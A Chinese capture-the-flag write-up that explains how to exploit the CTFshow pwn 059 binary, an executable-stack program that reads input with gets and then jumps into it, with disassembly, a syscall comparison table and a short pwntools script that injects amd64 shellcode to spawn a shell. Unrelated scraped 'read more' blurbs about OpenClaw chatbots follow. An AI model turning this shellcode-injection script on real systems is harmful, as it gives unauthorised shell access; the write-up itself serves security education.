【CTFshow-pwn系列】03_栈执行【pwn 059】详解:64位架构下的 Ret2Shellcode 进阶与指令集适配

【CTFshow-pwn系列】03_栈执行【pwn 059】详解:64位架构下的 Ret2Shellcode 进阶与指令集适配

【CTFshow-pwn系列】03_栈执行【pwn 059】详解:64位架构下的 Ret2Shellcode 进阶与指令集适配

本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在上一关 pwn 058 中,我们通过 32 位的 call eax 成功在可执行栈上起舞。今天我们要面对的是它的 64 位进阶版 —— pwn 059。题目依然标榜着:“64位 无限制”。

从 32 位跨越到 64 位,绝对不是简单的寄存器改个名字(r 开头)那么简单。地址空间的扩大、传参约定的改变以及对指令对齐的要求,都让这次的“无限制”挑战增加了一丝硬核的味道。

第一部分:题目信息与环境侦察(熟悉的配方)

1. 检查保护机制 (checksec)

image-20260307162337570
~/Desktop .............................................................. at 16:20:10 > checksec pwn [*] '/home/shining/Desktop/pwn' Arch: amd64-64-little <-- 核心差异:64位架构 RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing <-- 栈可执行 (RWX) PIE: No PIE (0x400000) Stack: Executable <-- 权限确认为 RWX RWX: Has RWX segments Stripped: No 

深度原理分析: 依然是熟悉的 GNU_STACK missing。在 64 位环境下,这种配置同样意味着栈上没有任何执行限制。

  • 64位地址宽度:相比 32 位的 4 字节地址,64 位地址宽度达到了 8 字节,虽然寻址空间巨大,但这也意味着我们在构造 ROP 或填充时需要更精准的字节对齐。
  • NX Missing:只要我们能把 RIP 指令指针引导到我们的缓冲区,程序就会像脱缰的野马一样开始解析执行我们的恶意 64 位机器码。

第二部分:破局思路与静态分析(硬核剖析)

在 64 位下,反编译器(F5)有时会因为复杂的栈平衡调整而报错。

1. 诡异的报错:Decompilation failure

当你尝试在 IDA 中按下 F5 时,可能会弹出: 4006F9: call analysis failed

image-20260307162418906

技术解毒:这不是你的 IDA 坏了,而是出题人故意使用了“寄存器间接调用”(Indirect Call)。由于 call rdx 在静态分析时无法确定 rdx 到底指向哪,IDA 的 F5 插件无法构建完整的控制流图,因此罢工。这时候,我们必须回归最原始的武器:阅读汇编

2. 追踪漏洞点:ctfshow 函数

观察 ctfshow 的汇编实现:

image-20260307162412816
.text:00000000004005BF mov [rbp+s], rdi ; 接收来自 main 的缓冲区地址 .text:00000000004005C3 mov rax, [rbp+s] .text:00000000004005C7 mov rdi, rax ; 将地址传给 rdi 作为 gets 的参数 .text:00000000004005CF call _gets ; 【核心漏洞】无限制读取输入 .text:00000000004005D4 mov rax, [rbp+s] .text:00000000004005D8 mov rdi, rax ; 传回给 puts 打印出来 .text:00000000004005DB call _puts 

3. 致命一击:main 函数的执行流劫持

回到 main 函数,观察程序在调用 ctfshow 后的动作:

image-20260307162443022
.text:00000000004006DE lea rax, [rbp+var_A0] ; 1. 计算栈上缓冲区 var_A0 的首地址 .text:00000000004006E5 mov rdi, rax ; 2. 作为参数传入 ctfshow .text:00000000004006E8 call ctfshow ; 3. 调用 gets 往该地址填充数据 .text:00000000004006ED lea rdx, [rbp+var_A0] ; 4. 重新将同一块地址加载到 rdx .text:00000000004006F4 mov eax, 0 .text:00000000004006F9 call rdx ; 5. 【绝杀】直接跳转到 rdx 执行! 

逻辑总结: 这又是一个“官方后门”。程序在栈上开辟了 0xA0(160字节)的空间,让你通过 gets 填入数据,填完后立刻通过 call rdx 命令 CPU 去执行这块空间的内容。由于栈是可执行的,我们只需注入 64 位 Shellcode。

第三部分:实战 EXP 编写与详解 (Pwntools 魔法)

在 64 位下编写 EXP,最重要的一步是正确设置 context

1. 64 位与 32 位 Shellcode 的本质区别

在 64 位下编写 EXP,最重要的一步是正确设置 context。我们需要深刻理解 64 位与 32 位在底层的本质区别。

特性32 位 (x86)64 位 (amd64)
系统调用指令int 0x80syscall
调用号寄存器eaxrax
参数 1 寄存器ebxrdi
参数 2 寄存器ecxrsi
参数 3 寄存器edxrdx
参数 4-6 寄存器esi, edi, ebpr10, r8, r9
execve 调用号11 (0x0b)59 (0x3b)
地址/寄存器位宽4 字节 (32-bit)8 字节 (64-bit)

深度解析:

  • 指令集进化:64 位引入了专用的 syscall 指令,它比老旧的 int 0x80 软中断执行效率更高,且寄存器传参的改变减少了访存开销。
  • 调用号剧变:这是新手最容易踩的坑。如果在 64 位代码里用 eax=11syscall,你调用的其实是 munmap 而不是 execve,结果必然是程序崩溃。

2. 攻击脚本 (EXP)

from pwn import * # 1. 基础配置:由于是 64 位题目,必须指定架构为 amd64 context(arch='amd64', os='linux', log_level='debug') # 2. 建立连接:本地调试用 process,远程用 remote io = process('./pwn') # io = remote('pwn.challenge.ctf.show', 28124) # 3. 生成 Shellcode:利用 shellcraft 快速构造 amd64 拿 shell 的机器码 shellcode = asm(shellcraft.sh()) # 4. 发送攻击载荷:直接发送,不需要 Padding 填充 io.sendline(shellcode) # 5. 开启交互:获取 Shell 权限 io.interactive() 
image-20260307164022198

第四部分:小白踩坑实录 (深入骨髓的教训)

1. 为什么 32 位的 Shellcode 跑不通?

64 位 CPU 的寻址和指令长度完全不同。在 64 位程序里跑 32 位代码会触发 Illegal Instructioncontext(arch='amd64') 是你的救命稻草。

2. 远程连接 EOF 的排查

如果脚本在远程报错:

  • 环境重置:去网页端点**【重置环境】**,这是解决 90% 问题的良药。
  • 端口更新:确保 remote 函数里的五位端口号与网页端当前显示的一致。

3. IDA 报错不要慌

遇到 call analysis failed 说明你撞到了“间接跳转”。手动看 call 前面的寄存器来源(比如本题的 rdx 是从哪来的),只要它指向你的输入区,直接打就完事了。

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

Read more

用OpenClaw做飞书ai办公机器人(含本地ollama模型接入+自动安装skills+数据可视化)

用OpenClaw做飞书ai办公机器人(含本地ollama模型接入+自动安装skills+数据可视化)

执行git clone https://github.com/openclaw/openclaw克隆项目,执行cd openclaw进入项目 执行node --version看看node的版本是否大于等于22(没有node.js需自行安装),再执行npm install -g pnpm安装作为包管理器,并执行pnpm install安装依赖 首次执行pnpm ui:build构建 Web UI(会先安装 ui/ 目录的依赖) 执行pnpm build构建主程序 执行pnpm openclaw onboard --install-daemon运行配置向导(安装守护进程),完成初始化 按键盘右箭头选择Yes,同样Yes 任选一个模型提供商都行,没有对应的提供商的密钥可以跳过,如果是本地模型选vLLM(需用vLLM框架启动模型,有性能优势,但原生vLLM仅完全支持Linux的cuda)、Custom Provider(可以连接任何 OpenAI 或 Anthropic 兼容的端点,

By Ne0inhk
手把手教你用 OpenClaw + 飞书,打造专属 AI 机器人

手把手教你用 OpenClaw + 飞书,打造专属 AI 机器人

手把手教你用 OpenClaw + 飞书,打造专属 AI 机器人 当前版本 OpenClaw(2026.2.22-2)已内置飞书插件,无需额外安装。 你有没有想过,在飞书里直接跟 AI 对话,就像跟同事聊天一样自然? 今天这篇文章,带你从零开始,用 OpenClaw 搭建一个飞书 AI 机器人。全程命令行操作,10 分钟搞定。 一、准备工作 1.1 安装 Node.js(版本 ≥ 22) OpenClaw 依赖 Node.js 运行,首先确保你的 Node 版本不低于 22。 推荐使用 nvm 管理 Node

By Ne0inhk

Gemini 全能 QQ 机器人部署手册 (V1.0 Release)

Gemini 全能 QQ 机器人部署手册 (V1.0 Release) 核心架构:OneBot V11 (NapCat) + NoneBot2 + Gemini Flash 适用系统:Ubuntu 22.04 LTS (阿里云/腾讯云) 🟢 第一阶段:基础设施准备 SSH 连接服务器后,复制以下命令执行。 安装必要软件 (Docker + Python) # 更新软件源sudoapt update &&sudoapt upgrade -y# 安装 Dockercurl-fsSL https://get.docker.com |bash# 安装 Python3 及虚拟环境工具sudoaptinstall python3-pip python3-venv -y# 创建项目文件夹mkdir-p

By Ne0inhk

OpenClaw多智能体路由实战:飞书多机器人配置指南

文章目录 * 飞书重新安装问题 * 批量增加机器人 * 缺点 * 多个飞书机器人名称包含大小写的问题 * 多个Agent名称包含大小写的问题 目前我已经完成了OpenClaw的基本安装,但是在对话框只有一个,机器人也只绑定到主会话,一次只能处理一个消息。很多时候我在聊天窗口,说A任务,然后做了一半,又发了关于B任务的指令。一是每次发完消息,如果OpenClaw还在处理,剩下的消息要么进入队列、要么看不到(实际还在队列)。两个任务切来切去,感觉体验很不好。 要彻底解决这个问题,实现网上演示的那种对各Agent、每个对话机器人对应一个Agent,就需要用到多智能体路由技术。 实现的步骤如下: * 在飞书创建一个新的机器人 * 通过控制台创建新的智能体 * 按照指引将飞书配置上去 * 根据需要创建多个Agent和机器人,并对应配置上去(略) 飞书重新安装问题 明明我已经安装好了飞书,系统还是会提示我安装,否则就跳过了添加飞书这步。应该是系统Bug。这次安装的飞书位置在~/.openclaw/extensions/feishu,其实和~/.npm-globa

By Ne0inhk